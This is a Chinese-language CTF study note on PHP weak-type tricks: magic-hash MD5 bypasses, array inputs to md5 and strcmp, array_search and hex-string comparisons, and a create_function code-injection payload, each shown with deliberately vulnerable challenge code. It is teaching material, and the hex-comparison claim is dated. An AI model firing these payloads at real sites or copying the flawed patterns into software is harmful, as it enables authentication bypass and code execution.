CTF知识点个人总结 —WEB
- PHP弱类型的比较及各种绕过
PHP中有两种比较的符号,== 与 ===
在$a==$b
的比较中:
$a=null;$b=flase ; //true
$a='';$b=null; //true
比较中还有很多此类情况,又如
1 <?php
2 var_dump("admin"==0); //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true
7 ?>
这个时候我们就要明白在PHP中,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。所以=== 和 ==相比,前者更为严谨,而使用后者则会产生一些可利用之处来进行bypass。
类型转化中遇到的问题
- 如果该字符串没有包含’.’ , ’e’ ,’E’ 而且数值值在整形的范围之内,这个字符串会被当作int来取值。
- 其他情况下都被作为float来取值
- 字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1 <?php
2 $test1=1 + "10.5"; // $test1=11.5(float)
3 $test2=1+"-1.3e3"; //$test2=-1299(float)
4 $test3=1+"add-1.3e3";//$test3=1(int)
5 $test4=1+"2admin";//$test4=3(int)
6 $test5=1+"admin2";//$test5=1(int)
7 ?>
这段PHP代码也就是解释的上文所说的类型转化中所出现的情况。
CTF中出现的弱类型比较
- MD5绕过
在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。所以大多数弱类型的MD5能够通过构造出0e来解决。
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
Solution 1
考虑到经过md5加密之后以0e开头的,值都为0,所以直接上传两个MD5加密后开头为0e的即可成功Bypass,而这样的payload其实网上挺多的,在这里给大噶列举一些。
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
240610708
0e462097431906509019562988736854
因此md5(‘240610708’) == md5(‘QNKCDZO’)是正确的,即可成功绕过。
Solution 2
我们知道,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
payload: ?a[]=1&b[]=0即可
在这里继续补充PHP函数返回值
1.md5()如果传入为数组则返回为NULL
2.strpos()如果传入数组,会返回NULL
3.strcmp函数无法比较数组,可以使用数组绕过。因为PHP内置函数的松散性,数组与字符串比较会返回null,可看做false
4.sha1()如果传入数组,同样返回NULL。
- 数组绕过
<?php
2 if(!is_array($_GET['test'])){exit();}
3 $test=$_GET['test'];
4 for($i=0;$i<count($test);$i++){
5 if($test[$i]==="admin"){
6 echo "error";
7 exit();
8 }
9 $test[$i]=intval($test[$i]);
10 }
11 if(array_search("admin",$test)===0){
12 echo "flag";
13 }
14 else{
15 echo "false";
16 }
17 ?>
千万别被吓坏了,这个题出其实就是看你知不知道array_search()
函数的弱类型比较,这个函数有三个参数,array_search()
函数与 in_array()
一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false。但如果第三个参数 strict 被指定为 true,则只有在数据类型和值都一致时才返回相应元素的键名。而第三个参数默认是flase,所以array_search()
在test数值型数组中查找 “admin” 这个字符串的时候,首先会把字符串转换为数字0,查询成功后就会返回其键名,所以此时构造payload=?test[0]=0
。
- 十六进制弱类型转换绕过
存在一种十六进制和字符串进行比较运算时的问题
"0x1e240" == "123456" //true
"0x1e240" == 123456 //true
"0x1e240" == "1e240" //false
这是因为当其中的一个字符串是0x开头的时候,PHP会将此字符串解析成为十进制然后再进行比较,0x1240
解析成为十进制就是123456,所以与int类型和string类型的123456比较都是相等的,此处 == 则存在可以绕过的地方。例子如下:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
题目的意思是你在url中输入一个key=****的字符串,然后这个字符串的askii码依次跟1和9比较,也就是说字符串中不允许有1-9的数字在里面,但是最后return $number == '54975581388';}
这句话不要理解错了,要么return false;
,要么return true;
也就是说字符串的值没有数字还要和54975581388
相等才行,这个时候就利用到了十六进制的类型转换,因为54975581388
的hex值正好全是英文CCCCC CCCC
这个时候只需要在其前面加上0X即可成功绕过!
payload为?key=0XCCCCCCCCC
- 其他类型绕过
话不多说,直接上码。
1 <?php
2
3 function flag()
4 {
5 echo "flag{xxxxxxx}";
6 }
7
8 $sort_by = $_GET['sort_by'];
9 $sorter = 'strnatcasecmp';
10 $databases=array('1234','4321');
11 $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
12 usort($databases, create_function('$a, $b', $sort_function));
要是能够调用flag()
就美滋滋了,但是代码中并没有出现,我们所能控制的变量只有一个sort_by
,所以这个GET型变量成为了突破口。usort
函数相当于调用了一个自定义的函数$sort_function
来对$databases
这个数组进行运算比较,usort构造了一个自定义函数,参数为
a
,
a,
a,b,函数体为$sort_function,这个匿名函数相当于是这样写的
function mydefine($a,$b){ 函数体($sort_function) }
这个时候我们将其代码还原,如果sort_by=1
,则会调用
function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}
这个时候我们就要在sort_by=?
这个?下功夫了,既然我们想要调用flag()
,那么我们就尝试闭合return
并且构造函数,构造payload
?sort_by=1"],$b["1"];}flag();//
此时PHP为
function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"],$b["1"];}flag();//"], $b["1"],$b["1"]}flag();//"]);}
而//为注释符,后面全部被注释掉了,所以最终成功调用flag()
。